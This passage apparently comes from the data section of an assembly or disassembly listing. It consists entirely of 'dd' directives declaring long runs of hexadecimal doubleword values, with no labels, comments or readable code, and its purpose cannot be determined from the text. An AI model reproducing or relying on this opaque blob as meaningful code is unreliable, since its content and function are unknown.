631EC542h, 0A09810C8h, 0B1186428h dd 58A03522h, 3842DFA5h, 580E6C30h, 0C44B628h, 59601B86h dd 0E5120D10h, 0E44F3706h, 19038C1Dh, 0A2CB0F83h, 310E7695h dd 2D3919A2h, 729FA882h, 0AF558800h, 5830C004h, 96BC5219h dd 0C13E0E05h, 944242DEh, 16D62FB1h, 4E6B5F18h, 31578E0h dd 7624413Ah, 81010D49h, 601A31D5h, 0D0864D99h, 29142C17h dd 69124671h, 800261C6h, 0A1058726h, 3E7B8DB0h, 496038BBh dd 361B6955h, 0C0244407h, 0E8C5F48Dh, 0F56A9C42h, 32CCA2D7h dd 14A8919Ch, 0A44C3EE1h dd 413D0171h, 0FD498138h, 0DB1020ECh, 0A9030616h, 0C8D99858h dd 16692C4Ch, 0FCA80C4h, 0D29D78E3h, 492D3A05h, 9820B0B5h dd 0A0A9FE61h, 9016F8A4h, 0D82DE65Ah, 0B771D0E1h, 0D2720A03h dd 0C8D42CB5h, 0E4D7E1h, 60096E76h, 1B6F3C96h, 0A2296C60h dd 0D3242Eh, 4F478506h, 0F9132A8Dh, 1073F830h, 88FD6455h dd 0D78DDC5h, 8633EF00h, 7E25D3E2h, 7DD2F023h, 60F2009Eh dd 34918A38h, 0F550265Bh, 0C678E1BEh, 3F9EC100h, 0DD540776h dd 4510C05Ah, 0FE80E34Fh, 0F0B630A9h, 0EE1133F0h, 7B00D411h dd 0EF610AE1h, 58A08A54h, 2B605F3Dh, 234DF4F1h, 0B2F501EBh dd 0D6D33B53h, 9108DF5Eh, 0BC138E74h, 6DB96800h, 0F9F60346h dd 0C1BFE2FEh, 6E21234Fh, 0AB300C01h, 336C7FD8h, 2DA012F7h dd 9C1A200Fh, 77CF02DDh, 118AF5Ch, 32C24739h, 3754B450h dd 0CC3E6BEh, 528F439Bh, 3868DCA8h, 6201CC20h, 9B987FC2h dd 37E1F181h, 85237DD3h, 0D92706A0h, 0C50A21F8h, 0B1BC5C7Ah dd 8AD45B28h, 1486C1B0h, 943C831h, 0F67B4085h, 0AAA400BFh dd 0FE025DF2h, 405FF833h, 0A86F9381h, 0C0ABC9Fh, 0EDC2905Ah dd 703AE790h, 28BB3EEBh, 0F001D033h, 0EEDC7AB5h, 41E0C003h dd 4FBA07AEh, 0E0719F7Fh, 44E0600Ah, 6FC82854h, 589B7335h dd 0FD1E2C06h, 0F84D0558h, 1D383676h, 98118694h, 3D0CC0F5h dd 292E4061h, 0CC6F0AE1h, 5A06DC9h, 5459951h, 53A5448h dd 215F3B28h, 8CECCCA8h, 90604710h, 984B0C9Eh, 9AC16182h dd 0C1EFA76h, 0C781708Ch, 0FF8A905Dh, 0DB474986h, 7202385Ah dd 0C7AEC083h, 0C1C8A2A4h, 0DC2CA035h, 7FC54FB1h, 4421C086h dd 9A47124Dh, 87C6C70Ah, 6285D057h, 0A041EA58h, 3407323Fh dd 0A6D22450h, 7B949055h, 5CC12A04h, 0B7E30C48h, 5AD8630Fh dd 0D0800C00h, 6AF6C3A4h, 54D40064h, 3716B89Fh, 18C07D0Eh dd 0CE097C38h, 10A26745h, 25F4C0E9h, 7111676h, 0E100E8BDh dd 0B6428BFBh, 7B037F35h, 0A58E3ABCh, 3E4818E6h, 0B93869E9h dd 79E5C00h, 54B7C243h, 5880E936h, 4EECDCC8h, 67000835h dd 46C4F9C7h, 6385C9BFh, 0C08868B9h, 89F61CA3h, 330C7BF0h dd 10F18C3Bh, 792601C3h, 7654D5B8h, 5598047h, 0AB6E7319h dd 85B718AEh, 3B261946h, 4EA26202h, 0A0BBBA08h, 0C4E23A34h dd 7E1100FBh, 400576EEh, 0A4769ED3h, 81EF607h, 0FAAF3h dd 4CE94FB7h, 0AB7B2AF0h, 151C0090h, 8EAAEEB5h, 5050A96Ah dd 96003988h, 7DE776BDh, 0EBB915h, 0D6E034C0h, 1889FB43h dd 91284C60h, 62A28C9Fh, 0BE3F6825h, 0F7B0C4ACh, 0C941BA09h dd 4304001Ch, 4C75C6ADh, 3418EAA4h, 9E09D83Ch, 0D49320A8h dd 5E60BC78h, 0FB303DE9h, 4AF70632h, 0F05F913Bh, 8350C33Eh dd 20F90826h, 199CE749h, 3977093h, 0D152B04Ah, 0B03CEF74h dd 10BC28ADh, 0E74D981Eh, 0F6C1BF47h, 0A0F3A0CCh, 78ED67C8h dd 0A7B628C2h, 78C8F088h, 0E0BC55C1h, 27E1A6E1h, 119EF5E1h dd 9EC303B9h, 3004EB65h, 0AC27BE31h, 2019C423h, 0D351B34Eh dd 80A84601h, 27BF1111h, 0C8E3B354h, 0F618A430h, 0DED3AE81h dd 31FC4118h, 0DE801693h, 64FFDCA0h, 0EF3F04ADh, 953982AAh dd 0A06C8E34h, 71589184h, 40F0369h, 0C593F79Eh, 0C04873B8h dd 61B0D030h, 968350h, 667E9A86h, 0C31AF8B3h, 0F6FB0200h dd 9B04A13Eh, 0FF4300D5h, 83EEA939h, 0BE48687Bh, 0E42622B8h dd 0A0E47ED0h, 0F2EE3B4h, 0C78762CEh, 0C180C32h, 3A123940h dd 5040F950h, 0B3A81F89h, 70FD48D0h, 58A06622h, 1D03202Ah dd 34A78108h, 0D1A691h, 5E3D6970h, 136D3EB8h, 0D4975407h dd 0DD10144h, 0F4F0B650h, 0A8040198h, 0F30FFC60h, 0A32FE427h dd 0E00AEA00h, 9FB7A923h, 0B64A3A1Dh, 98E82400h, 0FC7ADD07h dd 0F573F21Eh, 20B4CF0Ah, 0C6F64A0Eh, 18317DC0h, 48650248h dd 0ED01A082h, 3E5E5944h, 7C0C80CAh, 0A505110Fh, 348183F5h dd 36780022h, 0BB04EDB3h, 0EE6F7C3Eh, 0AFE48150h, 0C9C4E845h dd 0FC4B0089h, 6226906Ah, 1700F043h, 779B1E5Dh, 70F92473h dd 5481CF53h, 19799386h, 7FFC5222h, 82A605Ah, 0AB150FE2h dd 0A35869C1h, 0C9BC7CEDh, 632F10h, 0BF7B3AB7h, 3EBCC0h dd 90BEDAD6h, 0F6525A68h, 31B7F531h, 1090575Bh, 1B6C88C3h dd 76C17953h, 42BAE1F9h, 34035810h, 5A10009Ch, 0B6307C5Eh dd 36EE151Fh, 679E2D00h, 0D6260185h, 4C3C00F0h, 0F5594553h dd 542A0537h, 0AB60D85Fh, 7AFDE438h, 0EF2918FFh, 6B019D0h dd 52F6AF00h, 0A21D9E45h, 295004FAh, 0AE2C66h, 0F5FC70CDh dd 18517C35h, 909DA2D6h, 0AC2E1FB7h, 0C00686D1h, 1838F915h dd 900A5648h, 7400AF0Dh, 0A25FB03Fh, 0E7DC49C4h, 664EB982h dd 0A0A35882h, 1011FC6Bh, 0CA1E2143h, 0F7E00860h, 0B311B090h dd 67181E22h, 17888F10h, 7031A518h, 19392CA0h, 94E60050h dd 0FC6F4246h, 0E9706260h, 0B3A361h, 25FD1FA1h, 0D715E009h dd 3850F000h, 0EDDF98CAh, 3BFC0449h, 875269B3h, 0E297C18Ch dd 0A11D30B5h, 974F758h, 2F62A29Eh, 91B80108h, 845010BEh dd 0E28F6Ah, 181C7DADh, 1BD6EA5Dh, 0FDA87600h, 7E15F634h dd 74EE03D0h, 9B081381h, 5BC924A8h, 0A4AE0E00h, 4354FDA6h dd 50EF297Bh, 602964h, 1FF921E4h, 0FF62E506h, 0A0FAE2C8h dd 0C6B8F3F8h, 11F86056h, 58EF49A4h, 0CB291F06h, 3B181E5Fh dd 78D2FB9Ch, 92FDFDCh, 8C0A4A31h, 9FE60844h, 0FAC75400h dd 0C89C7D53h, 6B0AED11h, 0A20AFC0Eh, 6880CC11h, 6F9C49A3h dd 84D3493Dh, 99EA440h, 2736606Eh, 0B42B6002h, 4C642848h dd 0BAA19318h, 3AF1F11h, 78C788D0h, 8100FAB1h, 0FD8EC244h dd 411896Ch, 0F32F36Fh, 75E48145h, 0E3B5F1E5h, 2160B9E1h dd 68D01411h, 0F44048D8h, 60DB003Bh, 1507C4D9h, 0CB002AA3h dd 0A10F96Fh, 534D9Dh, 0EBC262CDh, 0E821E686h, 81D3AB0Fh dd 0E0C8E02Bh, 969F71h, 452F304Ah, 70DEB25Fh, 2A99E606h dd 1C113BB1h, 806FBE18h, 0BB467586h, 7B00AA56h, 0E01C57D0h dd 1DB1CCh, 0E721CD7Ch, 9D544814h, 4237DC07h, 1643F698h dd 84F1C017h, 0C0E2B3h, 4B923596h, 0FE4A9D5Bh, 79331100h dd 0C2B093D4h, 0A291007Dh, 1DDB3942h, 99007235h, 8DC83DB5h dd 50C14732h, 0C588A96h, 0CB401C90h, 30F02211h, 0BC218F60h dd 0C0AB6A5Dh, 0E13B1448h, 0B000A9A6h, 8A34A4B4h, 953EDCh dd 57AFB39Eh, 91C1C532h, 0E0A020DBh, 0C01EA602h, 0EB80EFD9h dd 1C0A400Fh, 48A88E35h, 92031F91h, 4052D962h, 890B700Ch dd 0BA50E4h, 0C7493433h, 0E2AE8309h, 552A521Eh, 0E5910C00h dd 1C1BBF0Bh, 81093C72h, 580FF687h, 49584132h, 8060BCC8h dd 4240903Fh, 3C194148h, 0C0604B43h, 76799C0h, 119B1634h dd 21F5B80Fh, 0FD91EA2h, 0A1D3E982h, 4DC3BD34h, 2572C000h dd 84F257B7h, 0CFC0017h, 4A7E9840h, 431813F1h, 11519706h dd 3F56F078h, 400A1E9Bh, 40BC1D8Fh, 17DC594Ah, 339CAF54h dd 803D1601h, 98F9418Ch, 0C0D5F853h, 1DF1573h, 3584F3A7h dd 8FE2E9CDh, 8CFD4A88h, 0A9F1843h, 9B517446h, 663E3C84h dd 3C744A28h, 86186481h, 35DB2177h, 4FD08200h, 0C6CDE11Ch dd 7E101D17h, 38BA0CB3h, 70231D0h, 74451699h, 863E2796h dd 1A3DC14Ah, 159C8070h, 3D5D19CEh, 0D7ED0058h, 951C2C90h dd 0B32E7B47h, 9600DDE5h, 76BE8A87h, 0CF3A1235h, 80F3065Bh dd 0C4325898h, 11F81053h dd 81521C5Ah, 0A38015D0h, 14FFA899h, 94B92E12h, 0AEB59000h dd 0F5C8883Fh, 0D672B1C0h, 610A79Ch, 74433E9Ah, 1F0CC93Bh dd 51F9DC86h, 0DE513CDBh, 79391931h, 0EF298A9Ch, 478CC488h dd 50DCF93Ah, 889814CDh, 2F243D09h, 1640C072h, 0A44D4377h dd 240F779Ch, 16CE741h, 935C060Ch, 5DB0432Fh, 759822h dd 0E8386610h, 90DF1906h, 0D47C32E2h, 90099F80h, 0E103459Ch dd 0FB109013h, 0B3300A8Ch, 10336484h, 0C55D40ABh, 3344523Fh dd 9A712D74h, 354580B6h, 10917DE1h, 0DBE4007Ah, 33900FA5h dd 0A89245h, 529AC731h, 89B8C4E9h, 954006EEh, 98F25238h dd 0F62D3709h, 5D7C5420h, 0FE0A70E4h, 809A9984h, 0A848C918h dd 79BD1837h, 1BA32894h, 7C547002h, 405063FDh, 7472BB0h dd 205234B4h, 0A8FFC172h, 90C48F3h, 5B0E5005h, 0B003FBA9h dd 0E0D2C810h, 1C2B53A1h, 0CA720A5Dh, 0E406F2Dh, 192B516h dd 555B1C84h, 0B31830D9h, 0B6602890h, 24BD0BC1h, 3D8F02CFh dd 0B891661Eh, 519E8B40h, 424CCB7Ah, 7DF68154h, 0FC42A785h dd 0E4426Dh, 0FB814C8h, 0F094CCC6h, 9D54D878h, 1EEE9388h dd 0A1C0B824h, 8DA4F619h, 22404083h, 583C196Dh, 4A558030h dd 0B0E0649h, 0AA383E17h, 18FA2B01h, 20D3F8F7h, 0E20435E0h dd 0CB3D8E64h, 20270882h, 7166F7A3h, 8FB6FB03h, 610FEC33h dd 9E3958C2h, 430ECC59h, 0E0833BECh, 0D29C6F72h, 0EDBC3018h dd 53057027h, 0D669350Ah, 0D7C8801h, 0A8401987h, 0B71E46h dd 3C90AF4Ah, 0D148165Ah, 804E971Dh, 0FC9D5747h, 86EC0312h dd 104840B8h, 88C9B9Eh, 1D1631C5h, 972E8C0Bh, 4C99D218h dd 45F8AC28h, 4AD04E15h, 2EB21184h, 9BBF107Ch, 0E15E0078h dd 83B147CAh, 711C0C29h, 0F6F8A93Ch, 9CBB2186h, 850213Ah dd 0A3719FF3h, 8E641A00h, 40B97A88h, 2704FCFAh, 3FA02CA5h dd 0F834012Bh, 3D5BFD4Bh, 1E9E6020h, 0B19E978h, 0E001D689h dd 30E29CB3h, 580B70A6h, 21F44941h, 8C614DC8h, 0CF3B0E01h dd 3C438EFAh, 0C9E624B0h, 566A4516h, 295A000h, 53EBBB4Bh dd 0A6842046h, 1316050h, 27EC0904h, 0DC80D79Bh, 5E3CDA8Fh dd 3CE3092Eh, 6592BC87h, 0AA88DF80h, 0AD571CA0h, 0F2C958BEh dd 0B2007C70h, 0E263C2ACh, 4BC682Bh, 4AF15A31h, 84A80C1h dd 9600C715h, 39772624h, 72558F86h, 9B2300B9h, 0A762AB5Eh dd 150018C9h, 0FA341E1h, 0E29CAB0h, 2816D0EBh, 0E2AD7420h dd 3B009D4Eh, 0F1B68CF8h, 6447D4h, 48A413B8h, 0AC48EC0h dd 963DC700h, 5D614055h, 701FAD6h, 49C1515Eh, 0B8DCE0C9h dd 0FB00A205h, 98825056h, 7AED537h, 0BE425BD4h, 0F960C1B0h dd 3A48F416h, 22018D00h, 21E74A87h, 0B9DB0075h, 0EC027EACh dd 4B7E5099h, 7A00E476h, 423827C4h, 17D552h, 0F492C8A6h dd 0A7C05F57h, 22544001h, 1D40BCCh, 434DEECh, 7F483275h dd 642E80C1h, 3A0CC85Dh, 110BAAD5h, 4A1300A3h, 6D8F1AD8h dd 9200C7ABh, 0E7FB5BD1h, 26B9D942h, 9FD86E4Bh, 0D852007Bh dd 5EC3FD0Eh, 86DBED00h, 99FB1043h, 6D2F30A0h, 26E4B580h dd 98292D18h, 3AC35B66h, 6C82915Fh, 0F94A8E13h, 2C0324C4h dd 4D87683Fh, 0E1FF88E6h, 76AD138Ch, 1C181FE3h, 8AA70306h dd 6A81D7B8h, 0F1FBC071h, 77F4905Ch, 0AB609D00h, 5B7D1801h dd 0E20C0081h, 0B7BC3177h, 4500986Bh, 0C1A550F7h, 0DF8F3h dd 0C4D25D1Ah, 7F9C093Eh, 0FF79CC00h, 442694E4h, 598800A0h dd 0CFB0EE69h, 55004DC7h, 64CD5B67h, 6E3AF2h, 87B7D09Ah dd 0AC51AF36h, 0C6A7C500h, 0C0CF1CEBh, 0BD700BBh, 0D5C4824Eh dd 3F07ABDCh, 0F5892653h, 901A13A0h, 0B63E004Ch, 576E31B8h dd 3A00E5F4h, 5ADA73EFh, 48A8B5A9h, 2C0008A7h, 0C7458F44h dd 2F4DDEE1h, 3F0F00BCh, 0A764849Fh, 40C533CFh, 3DBB35A0h dd 0E86033E8h, 8613203Ch, 0FDAA9698h, 1B2EC82h, 1EBD6BC7h dd 0E820F654h, 7300D0D9h, 7947602Ah, 3C297Dh, 31A87767h dd 0B6179EC3h, 0C6B0F00h, 8AADB7ACh, 0A11D1263h, 7C900022h dd 0CD2D3A2Ah, 0FA230B01h, 3BC6F472h, 288AB9C4h, 31F49875h dd 45B96E10h, 344E003Eh, 0D79013h, 19AE7183h, 976F1787h dd 794364Ch, 98B8F02h, 1E08A496h, 79A7B94Eh, 8D28FC80h dd 42AF76D1h, 0FD35B000h, 340DB10Bh, 379500C3h, 0A2A5A770h dd 57FE9C76h, 0C8BA6828h, 4033E005h, 0B4441F1Bh, 40909F88h dd 1C3B923Ah, 801AB74Bh, 0EC50A70Dh, 0E6005D62h, 97164A98h dd 7772D6Eh, 13A559FDh, 0B46A70C2h, 0EB5017DAh, 0AB0089D4h dd 0A77643D8h, 7E2F2AE8h, 68D900C6h, 583747Ah, 58005B6Bh dd 0DF4854Eh, 60E881EBh, 13AC80FDh, 0B5034183h, 94BF0EF2h dd 0C47580CBh, 0C270001Ch, 0BB5A3823h, 0A07B7DFh, 8C507219h dd 0DCCB9A00h, 932E00D5h, 88E4940h, 0DE00B10Fh, 79F2E8C1h dd 382612Fh, 0D3555791h, 12A8BF69h, 3007901Fh, 0C7FF8A0Ah dd 3BA635A0h, 0DBE44863h, 9C395400h, 22C47870h, 0C733C0A0h dd 366BCA00h, 35B7A86Fh, 0D5C50C58h, 912928BFh, 30003174h dd 243F8B76h, 3B5B371Bh, 0F4834A80h, 95F1DFB1h, 1720FCF8h dd 0E91F2872h, 1CC0183Eh, 0DA996489h, 0FB81124Ch, 441400CEh dd 42F4E545h, 805A2C3Bh, 0AD2D4318h, 25EB4Eh, 4724AE3Bh dd 5E65B73Ch, 0C7345B00h, 0DDF5B40Ah, 0A16330C9h, 0FF5AE4F8h dd 0D0C36500h, 605B8930h, 0BA9A0386h, 35CB6D31h, 0C585AB91h dd 0F60A305Ch, 96C55400h, 0A57B59DAh, 0FA520009h, 206DF48Ch dd 5807BE86h, 0E84A5346h, 0B7DE4EA0h, 0CFB30F19h, 56C0C52Dh dd 9E4CD7FBh, 0E41F664Ah, 7CAD9F40h, 0A3920D5h, 54B6C781h dd 21AA0082h, 40FD2913h, 0B9029713h, 2699C400h, 0C0BC9B86h dd 4FF44811h, 8F13EEF2h, 0AC000793h, 0E8CD0F9h, 189C0008h dd 0F1C6EAB8h, 3A036630h, 0E9335EF2h, 0E4A0B793h, 49CD36h dd 0EA2E4579h, 0D35E677Ch, 8E8F7306h, 314B72Dh, 65E98C5Bh dd 0F6987AB8h, 5900D22Eh, 5593F8FFh, 0E5CF79h, 88118206h dd 45E8EE67h, 4E8DCC03h, 0D023D9DBh, 8EAB0Ah, 0EC3C8053h dd 2A97CB04h, 6354F500h, 0BBCD1E3Fh, 6E3D07BFh, 600D709Dh dd 37DAC459h, 0CE766000h, 30C7A8A6h, 0E288073Ah, 7F42351h dd 68945034h, 220FD441h, 0EE729709h, 0FC3124C9h, 7A6100EFh dd 0C2F75A0Ch, 0FFD4CD00h, 15E8F194h, 218A0013h, 65AE492Ch dd 0B0707795h, 5EB3F701h, 35548E2Bh, 2BEFCh, 4215F4BBh dd 37741B51h, 32002373h, 3BE6FB7Ch, 6482FCh, 0E8B9F91Ch dd 0D7B00C59h, 6249E300h, 244A504Dh, 66890045h, 302BC43Eh dd 21005752h, 9540A964h, 0CD7D25h, 69273510h, 0C39AD86Dh dd 964E100h, 77F69047h, 2BDC014Eh, 0B71E2229h, 702CE57Fh dd 78005DDAh, 0EBEDCF7Ch, 0FA8DDFh, 5F01C245h, 5C9B2ABh dd 5433E502h, 809B0289h, 593086ACh, 7A1F1358h, 41700F1h dd 88446878h, 15FD48C0h, 3F713F4Dh, 0BABBF986h, 0E806A695h dd 0C0918507h, 4B42E170h, 7D0C40C1h, 81C3E05Ah, 60289661h dd 5FDD08E0h, 63F8FB72h, 34276600h, 51920932h, 7D840073h dd 25823642h, 0B052178h, 0BDF7C944h, 0D94BE707h, 0D29B6030h dd 294C0085h, 0B37365FBh, 99036E0Dh, 0FD6679A7h, 0D17ED09Bh dd 6381CFE2h, 83C427E7h, 0A1010761h, 142F3491h, 93CC92B8h dd 0E25C5C3Fh, 0C6AF7E01h, 0ECC15667h, 9F07DFCh, 0D664100h dd 39B1DC4Bh, 87FA6Ch dd 658B28B4h, 3472D5FDh, 76C01E00h, 4E2B980h, 1D1901FFh dd 9FC46003h, 0CC888081h, 614E400Ch, 212601B6h, 4CE92E84h dd 0B2C02089h, 0C85B803h, 0C0CECD63h, 0F25120AAh, 27AF0001h dd 0F08A9261h, 0E700CBB1h, 0E269AC24h, 0F2397B18h, 0DC7A0307h dd 0C1E8E90Eh, 0DF8C408Fh, 0BF0035DEh, 5FF85132h, 0BC7892h dd 25F12E79h, 0A6E9683Dh, 0E72FA400h, 0F71BE498h, 0D94A0C66h dd 2DB1A785h, 0B603F1EEh, 607A06E0h, 41900E9h, 84AC34AAh dd 8C1DCEF8h, 0C055038Ah, 0EA200B8h, 0D2E51DBAh, 5DD00B9h dd 8BFBED22h, 6660FD1Fh, 0F6F88118h, 63010749h, 8185FA89h dd 0E0099919h, 7A02DA65h, 79B9830Bh, 0FAD88014h, 0C561F0h dd 0DBE275B2h, 5F49E74Ah, 666D43Ch, 0DDCE3C0Dh, 51E60C28h dd 53181E7Bh, 8CF26C7Ah, 0EEC098DFh, 6B1D8887h, 57630008h dd 0D9922D0Fh, 0BA7833D3h, 6E011F18h, 0C4B7FA0h, 6F79B8CCh dd 6119A381h, 7058234Fh, 1E4AE720h, 0CC4B3448h, 3918078Bh dd 786D7A3Bh, 9C3CF87Fh, 0AD701403h, 7EE60094h, 0D95CF10Ah dd 44F5490Eh, 6C08906Fh, 0DEF24841h, 6A793009h, 0A27D90C1h dd 0C8ADBB62h, 0E8C483F0h, 0D96C1F87h, 0ED140EF7h, 0EB24C0CFh dd 0F8CB838h, 67687E42h, 0DEC94E00h, 0FA836D34h, 0D6A8C0F9h dd 0E10DFFA5h, 8E25CD00h, 0C5A7FBBCh, 0EA980FC9h, 0DB80E522h dd 0B91C4891h, 0E0B4A3Ch, 207DFA88h, 0F460EFD8h, 5A100BBh dd 6C1883E8h, 62009299h, 7F5725CFh, 187249F8h, 6093E1F0h dd 3B0E5C5Bh, 0F356B6C6h, 88522500h, 1E5E71EEh, 40FC7932h dd 9072068Ah, 0D200DB91h, 0E3CA1A9Fh, 0F1E9552h, 1DEFC874h dd 23E8A2A1h, 701AC499h, 0D32ECD00h, 0D5872B90h, 0EE380021h dd 88E1C402h, 6C00EBC2h, 499CCD9Fh, 3F519619h, 0C982AA10h dd 58EA2C79h, 6D73C060h, 32EF9900h, 0F6F5CE52h, 0F00100F8h dd 1A286939h, 0FEE69E1Dh, 31B83D00h, 5B87AB40h, 0BAFD3132h dd 0E4C06010h, 29001BF8h, 738E5766h, 1A122FFh, 7AF5B76Dh dd 508AB26Fh, 8C82CB9Ch, 44392507h, 0BED07B7Fh, 9D2CD05h dd 8FA2CE04h, 0ABEB2420h, 0D62ED5B1h, 9C2071A1h, 0EFF80476h dd 2A4E8A0Fh, 0A0768079h, 0E5D834h, 7D4319B0h, 9F0B6675h dd 74448D24h, 7A49D480h, 4EC9BAh, 6A873246h, 0C6F1585Ch dd 6D61FD00h, 0A67590BFh, 403000E9h, 128F0356h, 3400E42Fh dd 1B115288h, 0B66B343h, 904F6578h, 0C6462400h, 1400C7A4h dd 2FB817DAh, 14B996Bh, 6A72925Ch, 0F26C7311h, 3EE6DB80h dd 9E3C769Dh, 44A38720h, 69600498h, 88CCC3h, 3D373287h dd 9FE97DF1h, 7BDD7500h, 615A9DA8h, 19D76063h, 2C69035Fh dd 653D261Fh, 7114F8C0h, 4763E6Ch, 0A5B7DA8h, 540C8060h dd 940073E5h, 0C99A2FBFh, 3C1A1F08h, 0FE008329h, 0A7DBDF9Dh dd 90000B20h, 4A886CA3h, 403E18h, 4683D8DAh, 0CF43D08Ch dd 0D43278C0h, 1D3576Eh, 7D417523h, 0F83FEC65h, 0A0003137h dd 3F1D5B4h, 2141CB6h, 0D1FACCB0h, 8406976h, 2C0764FBh dd 6FAA5218h, 22EB9D80h, 538708Fh, 82B62EC2h, 94CFC01Bh dd 0CB0070C1h, 47DC430Bh, 3012C39Dh, 0D82950C9h, 0FE769475h dd 7800EC70h, 8299F1E4h, 27B8AD2Dh, 0C3F0EB76h, 219BA700h dd 0D2F75E5h, 6C0A00C3h, 1601AF1Ah, 9E00B782h, 0EADFF491h dd 7D71498Ch, 87810058h, 3C9C4C51h, 2007EC33h, 42CFB41Fh dd 0A06A12A0h, 0E83400A3h, 571790D1h, 30FDAB8Dh, 631FD2D4h dd 9CCF51A9h, 931960C8h, 790FAFh, 8398EEE5h, 57F888E2h dd 2CA48200h, 3771584Fh, 0BF9E0005h, 60416154h, 600D60Fh dd 6ECFE669h, 27936A9h, 233845F3h, 94C01120h, 8A6BFA9Fh dd 0BF3F00D8h, 474F1Eh, 0D1E98413h, 0D7E7576Ah, 0C67010Eh dd 5DB3C0B7h, 78A1A3h, 48C4D836h, 6D0BC11Dh, 0CA643107h dd 52443D6Ah, 1A49F9C0h, 2D000DEh, 0D8EF65A4h, 2F6E459Dh dd 0AF1CD671h, 7C44394h, 3EC5607Ch, 4C1387Ch, 0C378F896h dd 0D198C007h, 0C0F1DEA3h, 0EE0075F9h, 6EAE7A11h, 0EE329BB6h dd 30B8F436h, 0C680CCABh, 0C1709C9Fh, 9900D9FEh, 66DD1175h dd 35DC29h, 3EADB7E2h, 0A7C4BFEAh, 0E6D21C00h, 0A1CAFE0Ah dd 79FF2C3h, 0CDF0DB80h, 9163C0FFh, 79004C93h, 2A15A54Dh dd 18FC7h, 0B621081Ch, 0DD126A3h, 0DED29600h, 7A536B62h dd 41E08Fh, 0ACA01543h, 50F5D8F7h, 772E7C00h, 20CA0917h dd 3ACF00DDh, 0A6B3A778h, 4128A164h, 0C8009073h, 0FF33052Eh dd 0F27EDCh, 0FED5AF9Bh, 0A8139D6Eh, 22DF93Dh, 0E74B71E4h dd 87C240B9h, 0D3080017h, 56BC8930h, 4002952h, 2EE6CEAFh dd 77A4FF9h, 7B908E3h, 55B4E079h, 0F6008D69h, 475E749Ch dd 0F8FB8C4h, 0C6B2109h, 0D1E30BA0h, 2300A0D2h, 94F013FFh dd 9B30FBh, 8C40E4CDh, 0C960770Ah, 42C58800h, 2A7D0234h dd 182F0FFAh, 46600E48h, 0B236CB75h, 5F3D9400h, 0CF27A138h dd 0C47AD5h, 0F52A136Fh, 0FACD78EFh, 0FE280500h, 64D87A4Eh dd 72312827h, 101E0088h, 8D980D44h, 131F11DAh, 8242B35h dd 3A061C80h, 36CDA8h, 0C9C61D94h, 5CA764ECh, 6D23870Eh dd 68C0E026h, 0B7A10Eh, 61A9FF41h, 7888A8Dh, 79D56700h dd 0C71CE7CEh, 751006A6h, 3083274Eh, 0C4613900h, 2B3AD399h dd 232D266Eh, 60548004h, 0E09F882h, 64064024h, 4CDAC500h dd 1F1986B7h, 80D528CEh, 0A23E1FE5h, 0BC007540h, 0C0A40952h dd 0AB76A7h, 5EF4CC77h, 5729C54Bh, 186BCE00h, 0EA7FF19Eh dd 0E757BE0h, 869A097Ch, 2BB789A1h, 9143601Dh, 0B3006BB8h dd 11B6D32Ch, 797A60h, 0C706C697h, 0FE429EE3h, 832A1238h dd 31C4E615h, 5E0DE833h, 72D500F7h, 997680BEh, 2200AF7Bh dd 0B04C89DCh, 0C7FE25h, 54F1C9Dh, 0E1199386h, 5C223Fh dd 0D620C04Eh, 7523D35h, 0FB29A37h, 0A314C0F4h, 7E001288h dd 45B5394h, 0C6A41Ch, 0AA8A9C30h, 89A73DE0h, 5C933500h dd 0A19F33CAh, 34314BDh, 0AE00C192h, 255F047h, 22098932h dd 8F3B88D9h, 62BC60EDh, 1F25C386h, 7A0AD8h, 711AF9B9h dd 7600A8BAh, 0C92AEB8Eh, 3D0222h, 57C351B3h, 0C23107BFh dd 879BEA07h, 1F138Dh, 24D979FBh, 0F49500B7h, 11B03CAFh dd 2A009DF2h, 41281D38h, 7EABBDh, 258FFAC8h, 0B1507AD7h dd 1DFF0703h, 82AD8D2Fh, 47807DD3h, 86D288F7h, 0AB650C03h dd 0B84E9C82h, 2ED84407h, 1EE605C0h, 47C20C14h, 3C3B46C4h dd 0AA007503h, 352FC17Dh, 0B842FCh, 60BE6AAFh, 0E836E266h dd 0AC5ADF00h, 29DC544Eh, 4FC00FD1h, 952158AAh, 0C4641338h dd 77E01290h, 0E71F4374h, 0C498D3E3h, 5CDF0A18h, 778FF58h dd 60758CDDh, 768EDEDBh, 860AB282h, 0BAD91080h, 480FBB95h dd 9DBDED74h, 3EB1E100h, 0DF25CAh, 9013FC6Ch, 17300150h dd 930D3207h, 2840F9AAh, 0F09B93Dh, 0ED3C29AFh, 1E1DA88Fh dd 0FC51FB3h, 3A819A07h, 0A6BD60F8h, 30001C29h, 32D26FC0h dd 0F0D871D5h, 0A0447C08h, 0A068281Ch, 0E053E2Ch, 0FD328D93h dd 2F3C8780h, 10A01728h, 1CA04F44h, 0D800E52Eh, 919450D5h dd 3EA6630h, 0DE02715Ah, 14900FAAh, 32002906h, 44F4BEE1h dd 30CD9B6h, 1CA8C74Eh, 0A0B11905h, 0A37FF062h, 6FEAB000h dd 1E03D5B3h, 0F25600EDh, 8873C07Dh, 0C600E620h, 310C33C3h dd 0FF456Dh, 0E009F419h, 0A84129B6h, 6B167501h, 3F42E7A7h dd 780EE5F4h, 29591DC1h dd 7DCA80AEh, 0D52DFA5Ch, 76ED4E02h, 0C0E49D6Ah, 0CB2833h dd 0E9070AC9h, 0E2582353h, 7CD8E31Ch, 1C9104C0h, 0AB19CBh dd 2767F3F7h, 0D652B863h, 0C88CC454h, 90407905h, 9042581Fh dd 81D8E2A1h, 97645084h, 1AB69040h, 0D7B90018h, 20D5651Fh dd 0DC32A106h, 204829DAh, 7A09C193h, 5F25F80Eh, 7134C3B4h dd 4C8E022h, 0E17C7Dh, 5C79AE55h, 11A6F5DBh, 17610A00h dd 730C3AA1h, 0F2D5007Ch, 831D18AFh, 400C99Eh, 4542142Dh dd 0E30F03h, 8155D833h, 964164C8h, 8999207h, 8C8007E9h dd 0FD3D87h, 1892580h, 43D94F1Bh, 48CC6A00h, 0B7B8468Eh dd 0CA61D5Bh, 0EF6CD2A5h, 0ED718C00h, 0E3C8E8h, 0BBD9EB3h dd 0FD9DF972h, 0AA5011EEh, 0ED00878Ch, 7FA2D7FCh, 906E1AD0h dd 614006BDh, 52A051F9h, 0D25DD900h, 0F6B9BF39h, 95D10043h dd 7135AB20h, 0C701B1FEh, 0FC6FA75Ah, 0D9CC4E3Eh, 33C10387h dd 0E29F0BA3h, 8810CBC0h, 0B25BC800h, 59D2E4BFh, 46BC006Bh dd 7D2602AFh, 950005B1h, 189CEB56h, 825ACEh, 8D794369h dd 969A5726h, 60C0320Fh, 